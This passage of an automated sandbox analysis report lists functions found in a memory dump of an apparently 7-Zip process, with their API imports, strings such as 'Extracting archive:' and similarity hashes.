__getmainargs.MSVCRT ref: 0035E256
_initterm.MSVCRT ref: 0035E26A
_cexit.MSVCRT ref: 0035E29D

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
String ID:
API String ID: 352749199-0
Opcode ID: 7bb71b32ccd8ca11bad9e88b1576836c321785d074d4d8a0f920451f9c6aec85
Instruction ID: 38a751aa41976115b4dfbdeeab7fb1adf9ac9794945b09d9ceaa5fd693b8baf0
Opcode Fuzzy Hash: 7bb71b32ccd8ca11bad9e88b1576836c321785d074d4d8a0f920451f9c6aec85
Instruction Fuzzy Hash: D1316EB5114B42CAEB16DF25E89071A73A9F3847A6F101229EA6E436B4DF3CC649CB00

Function 0035E139 Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 0035E1C2
__setusermatherr.MSVCRT ref: 0035E211
_initterm.MSVCRT ref: 0035E225
__getmainargs.MSVCRT ref: 0035E256
_initterm.MSVCRT ref: 0035E26A
_cexit.MSVCRT ref: 0035E29D

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
String ID:
API String ID: 352749199-0
Opcode ID: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction ID: 2a659b7262c3077c41214f515dc2863c3c7f09e490b6c5c7b445fd34f33afd8f
Opcode Fuzzy Hash: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction Fuzzy Hash: 18212DB5214F428AEB12DF29EC9071A7369F784766F501225EA6E477B4DF3CC649CB00

Function 0035E15A Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 0035E1C2
__setusermatherr.MSVCRT ref: 0035E211
_initterm.MSVCRT ref: 0035E225
__getmainargs.MSVCRT ref: 0035E256
_initterm.MSVCRT ref: 0035E26A
_cexit.MSVCRT ref: 0035E29D

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
String ID:
API String ID: 352749199-0
Opcode ID: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction ID: 2a659b7262c3077c41214f515dc2863c3c7f09e490b6c5c7b445fd34f33afd8f
Opcode Fuzzy Hash: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction Fuzzy Hash: 18212DB5214F428AEB12DF29EC9071A7369F784766F501225EA6E477B4DF3CC649CB00

Function 0035E1A6 Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 0035E1C2
__setusermatherr.MSVCRT ref: 0035E211
_initterm.MSVCRT ref: 0035E225
__getmainargs.MSVCRT ref: 0035E256
_initterm.MSVCRT ref: 0035E26A
_cexit.MSVCRT ref: 0035E29D

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
String ID:
API String ID: 352749199-0
Opcode ID: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction ID: 2a659b7262c3077c41214f515dc2863c3c7f09e490b6c5c7b445fd34f33afd8f
Opcode Fuzzy Hash: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction Fuzzy Hash: 18212DB5214F428AEB12DF29EC9071A7369F784766F501225EA6E477B4DF3CC649CB00

Function 00334610 Relevance: 8.8, APIs: 7, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 00343EE0: free.MSVCRT ref: 00343F45

free.MSVCRT ref: 00334633
free.MSVCRT ref: 0033463C
free.MSVCRT ref: 00334646
free.MSVCRT ref: 00334672
free.MSVCRT ref: 0033467A
free.MSVCRT ref: 00334687
free.MSVCRT ref: 003346BA

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 899f08306957a66c740d4174f20d1bdb533731c698e095d3b789b8ce7f7e4d05
Instruction ID: 1a6980891e439499c811e7dee6d2ad1f8936eff20b7380c55ae62d5c30d6e94f
Opcode Fuzzy Hash: 899f08306957a66c740d4174f20d1bdb533731c698e095d3b789b8ce7f7e4d05
Instruction Fuzzy Hash: 6B115423741A449ACA26FF72D99116A7314EB97BB0B194371DF3D1B795DF24D8B28300

Function 0033419C Relevance: 8.8, APIs: 7, Instructions: 45COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 003341B9
free.MSVCRT ref: 003341C5
free.MSVCRT ref: 003341D1
free.MSVCRT ref: 003341DD
free.MSVCRT ref: 003341E6
free.MSVCRT ref: 003341EF
free.MSVCRT ref: 003341F8

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 29f7608983fcae077df9a41f20b4e1c47ea80a41590d90ea80717b354026d7b0
Instruction ID: 480edd24d04d3c9562a37b39b545d6317273ec501431da446bba7318ebf84010
Opcode Fuzzy Hash: 29f7608983fcae077df9a41f20b4e1c47ea80a41590d90ea80717b354026d7b0
Instruction Fuzzy Hash: 9D111B22311A4089CF09EF75C8A126E7320FBC6F98B044671AF3E8B765CF24C8568344

Function 00343A42 Relevance: 7.7, APIs: 6, Instructions: 151COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00343C0C
free.MSVCRT ref: 00343C17
free.MSVCRT ref: 00343C22
free.MSVCRT ref: 00343C77
free.MSVCRT ref: 00343C82

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 3c674b90aae9c7a3b63d2bdd2af22403dde61106ae7c1b39dd43b612bf24b9b2
Instruction ID: 6a05a9303bc3052b5545d44b1fd08002686f3828ea408103dde6667c07b7fc39
Opcode Fuzzy Hash: 3c674b90aae9c7a3b63d2bdd2af22403dde61106ae7c1b39dd43b612bf24b9b2
Instruction Fuzzy Hash: 09515862200A4491CF16EF25D4D02EE6761F7C9FC8F904522EB4E9B729DF78DA9AC341

Function 00351544 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 53COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 003515D5

Part of subcall function 0035B1C8: memset.MSVCRT ref: 0035B20D
Part of subcall function 0035B1C8: fputs.MSVCRT ref: 0035B232

Strings

Extracting archive: , xrefs: 003515C7
Open, xrefs: 00351604
Testing archive: , xrefs: 003515C0

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: fputs$memset
String ID: Extracting archive: $Open$Testing archive:
API String ID: 3543874852-295398807
Opcode ID: 9f4bf5ef788e6728e8579e5dfc2a785cb0374665964cbcc9bd9e207323b06e63
Instruction ID: f45680face3f281e84b8bde38a66cd0d9d9f73ae6dec4bffe05633a1ce23688b
Opcode Fuzzy Hash: 9f4bf5ef788e6728e8579e5dfc2a785cb0374665964cbcc9bd9e207323b06e63
Instruction Fuzzy Hash: 0311C166742A8284DF56DB29D9447ED2364E749B99F5C8435DE0D4B220EF39C5CAC310

Function 00352E24 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00352E47
fputs.MSVCRT ref: 00352E57
free.MSVCRT ref: 00352EA4

Part of subcall function 00352CFC: fputs.MSVCRT ref: 00352D41
Part of subcall function 00352CFC: fputs.MSVCRT ref: 00352DCF
Part of subcall function 00352CFC: free.MSVCRT ref: 00352DFF

Strings

= , xrefs: 00352E50

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: fputs$free
String ID: =
API String ID: 3873070119-2525689732
Opcode ID: 4cca910cc9feef97d39b55c90a06b9effa51fec30a6b783ec7096b57ced3bdf6
Instruction ID: 12e79a3ae9307c7a821f4f782db147c0e5c5465e1ec06125e40d8d6236512975
Opcode Fuzzy Hash: 4cca910cc9feef97d39b55c90a06b9effa51fec30a6b783ec7096b57ced3bdf6
Instruction Fuzzy Hash: 24F0DB5230490050D926EB26EA4177F5321A7CAFF5F049321AD6D0BBB8DF2CC5568700

Function 003449B0 Relevance: 6.4, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00344A5C
free.MSVCRT ref: 00344A67
free.MSVCRT ref: 00344AE4

Part of subcall function 00313314: memmove.MSVCRT ref: 00313339

free.MSVCRT ref: 00344B0F
free.MSVCRT ref: 00344B1A

Part of subcall function 00312130: malloc.MSVCRT ref: 00312134
Part of subcall function 00312130: _CxxThrowException.MSVCRT ref: 0031214F

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmallocmemmove
String ID:
API String ID: 3352498445-0
Opcode ID: ffa01df610a78eb8c6bf6cbd45b0887f3d376cc6246ea700225451970a264df5
Instruction ID: 7a1bac5e888b105d2b871751d0afbe5b5d7e8f33dad8173811c7dd9bac93c95d
Opcode Fuzzy Hash: ffa01df610a78eb8c6bf6cbd45b0887f3d376cc6246ea700225451970a264df5
Instruction Fuzzy Hash: D741B023204B8495CB16EF25D4503AE77A1FB8AB88F481132EF8E4B729DF38D5A5C314

Function 0035E120 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee94cdd725bc1b4db16937cbd8c93f2249c1c3cc61606458e41898ca9daa4340
Instruction ID: 01e0caf78bc92dfc9a2c37417e74c9753b44959299f9e7a7848d16d3a82d0986
Opcode Fuzzy Hash: ee94cdd725bc1b4db16937cbd8c93f2249c1c3cc61606458e41898ca9daa4340
Instruction Fuzzy Hash: 4E318FB5114B41CAEB16DF29E88075A3778F384B66F405225EA5D077B4DB3CC689CB00

Function 00312320 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0031237E
free.MSVCRT ref: 003123AB
fputs.MSVCRT ref: 003123B8
free.MSVCRT ref: 003123C4

Part of subcall function 00313274: memmove.MSVCRT ref: 003132AC

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free$fputsmemmove
String ID:
API String ID: 4106585527-0
Opcode ID: de874a376c389c5634e5b3a271c24aa59135fb5864ed34f7a1f8a9b157696600
Instruction ID: 77e96007f67628dd9642f25e1631805f6cf61a932a94379e5edd3275fa689307
Opcode Fuzzy Hash: de874a376c389c5634e5b3a271c24aa59135fb5864ed34f7a1f8a9b157696600
Instruction Fuzzy Hash: E401526320884091DA25AB25E85119FA721E7D9BF4F045331BA6F8B7F8DE28C6D6C700

Function 003168A0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE ref: 003168C7
SetFileAttributesW.KERNEL32 ref: 00316903
free.MSVCRT ref: 00316913
free.MSVCRT ref: 00316921

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: AttributesFilefree
String ID:
API String ID: 1936811914-0
Opcode ID: 2ecb6214096e143b2484f2832f1280b3ab62ecd8edf6342453ae4ca911538852
Instruction ID: b64ba779d1a36116811d63afeeed595bded0902bcb798b54188fd059edf7142d
Opcode Fuzzy Hash: 2ecb6214096e143b2484f2832f1280b3ab62ecd8edf6342453ae4ca911538852
Instruction Fuzzy Hash: 2A01A722304A1192D636AB61D9812FE17689B8E7F5F180321AD6A8B7A5CF24CEC79711

Function 00317D4C Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE ref: 00317D6E
GetFileAttributesW.KERNEL32 ref: 00317DA5
free.MSVCRT ref: 00317DB2
free.MSVCRT ref: 00317DC0

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: AttributesFilefree
String ID:
API String ID: 1936811914-0
Opcode ID: 90b61e9f4f0805f8493b7b2730efc4ecc0887a88725c8ba3c0691ab996cf754b
Instruction ID: 83a53687609292a1c6dee47a3f7804ba3216f5e3a71d90316003e0c0266a8e16
Opcode Fuzzy Hash: 90b61e9f4f0805f8493b7b2730efc4ecc0887a88725c8ba3c0691ab996cf754b
Instruction Fuzzy Hash: 22F0A426208A4485CA36AB74ED902FE12309BCE7F5F580320EA798B7F5DF14CAC68700

Function 00333E14 Relevance: 5.1, APIs: 4, Instructions: 142COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00333F66
memmove.MSVCRT ref: 00333F8B
free.MSVCRT ref: 00334028
free.MSVCRT ref: 00334033

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: e8f9cdc7cbc43501b9a821d31bcf444afd51c02bda1371c1c9b7f3f0ed001691
Instruction ID: 4ac95315b561669dc3909ad40fd1236ef63c7c34904592b7a2ac748f64bbc313
Opcode Fuzzy Hash: e8f9cdc7cbc43501b9a821d31bcf444afd51c02bda1371c1c9b7f3f0ed001691
Instruction Fuzzy Hash: 0A518E73704A8097CA35DB16E4C029DB360F789BD4F408226EB9E4BB59DF38D5A5CB40

Function 00339BCC Relevance: 5.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00339C11
free.MSVCRT ref: 00339C19
free.MSVCRT ref: 00339C3B
free.MSVCRT ref: 00339D2A

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: c672974581852c8ab8e8e4232f116f9865b8037c8c9b18d6af4eac83a37c9762
Instruction ID: a25fbd1bb071c9a4631a2b5fcc44b8261fad9b172f08a6db4a8d932028bafa39
Opcode Fuzzy Hash: c672974581852c8ab8e8e4232f116f9865b8037c8c9b18d6af4eac83a37c9762
Instruction Fuzzy Hash: DF31E323714684CACB26EF11E4C055EA7A5F7887A0F599236EF8E4B758DF78C882C700

Function 0033A9FC Relevance: 5.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0033AA95
free.MSVCRT ref: 0033AAB8
free.MSVCRT ref: 0033AAC5
free.MSVCRT ref: 0033AAD2

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2fb1bdadda0f0f67c2ab4cf383632212aedf00074fa5b7e75f5519585e2e69a4
Instruction ID: ded233023e61ce2a2a968d93e3e1d6dd3d6afd6d9c498ea495228256d09f2015
Opcode Fuzzy Hash: 2fb1bdadda0f0f67c2ab4cf383632212aedf00074fa5b7e75f5519585e2e69a4
Instruction Fuzzy Hash: CA119C2220894051DA11EB65E5912EB9760EBD53F0F441371BBEE8BAF9DF58C98BCB00

Function 0033CF80 Relevance: 5.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 00313404: free.MSVCRT ref: 00313431
Part of subcall function 00313404: memmove.MSVCRT ref: 0031344C

free.MSVCRT ref: 0033CFC9
_CxxThrowException.MSVCRT ref: 0033CFE6
free.MSVCRT ref: 0033D019
free.MSVCRT ref: 0033D021

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmemmove
String ID:
API String ID: 3934437811-0
Opcode ID: 3a97ebef2fcd1cdc2599d13047a49bc923f0f8c10aefa58592d67d2e468ee3f2
Instruction ID: 4aba9e2fc131aa9c03d4de1df0f3513930618c8691d089de92faf786f1a5f5c4
Opcode Fuzzy Hash: 3a97ebef2fcd1cdc2599d13047a49bc923f0f8c10aefa58592d67d2e468ee3f2
Instruction Fuzzy Hash: AA1184537046809BCA36DF35E89439EB750E7467A4F484325EFAD0B7A9DF68C54AC700

Function 003301A8 Relevance: 5.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00330211
free.MSVCRT ref: 0033021C
free.MSVCRT ref: 00330249
free.MSVCRT ref: 00330254

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2682a3d483ed8198c6bc67279e3496169ab0818a4c7350e9ba69b47f62e70939
Instruction ID: 21cbac0b5380b4884083f9cc5dbb5cbbde1dea65fb7f0fe803bf1f1379ab3e1c
Opcode Fuzzy Hash: 2682a3d483ed8198c6bc67279e3496169ab0818a4c7350e9ba69b47f62e70939
Instruction Fuzzy Hash: 5401DB2220454490CD2AFB22F4551EF9721EBCA7E4F445321BE9E5B7A5CF28C5CAC704

Function 00318CDC Relevance: 4.6, APIs: 3, Instructions: 75fileCOMMON

Download Yara Rule

APIs

Part of subcall function 003189D8: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,FFFFFFFF,?,?,?,00000003,?,00000000,00000000), ref: 003189EA

CreateFileW.KERNELBASE ref: 00318D51
CreateFileW.KERNEL32 ref: 00318DA4
free.MSVCRT ref: 00318DB2

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: CreateFile$CloseHandlefree
String ID:
API String ID: 210839660-0
Opcode ID: 61d1414c3204940837fafab39737341ec41e4676ab64096d397cf1e7feeedc36
Instruction ID: fc6b649962372f34d64a59b76c44cfc89a274df8619e6894118b99d1999e27fb
Opcode Fuzzy Hash: 61d1414c3204940837fafab39737341ec41e4676ab64096d397cf1e7feeedc36
Instruction Fuzzy Hash: 21218033104A819AC7659F15B84169A6724F39A7F4F540321EFB947BE4CF38C9E6CB00

Function 00352CFC Relevance: 4.6, APIs: 3, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00313274: memmove.MSVCRT ref: 003132AC

fputs.MSVCRT ref: 00352D41
fputs.MSVCRT ref: 00352DCF
free.MSVCRT ref: 00352DFF

Part of subcall function 00312300: fputc.MSVCRT ref: 00312311

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
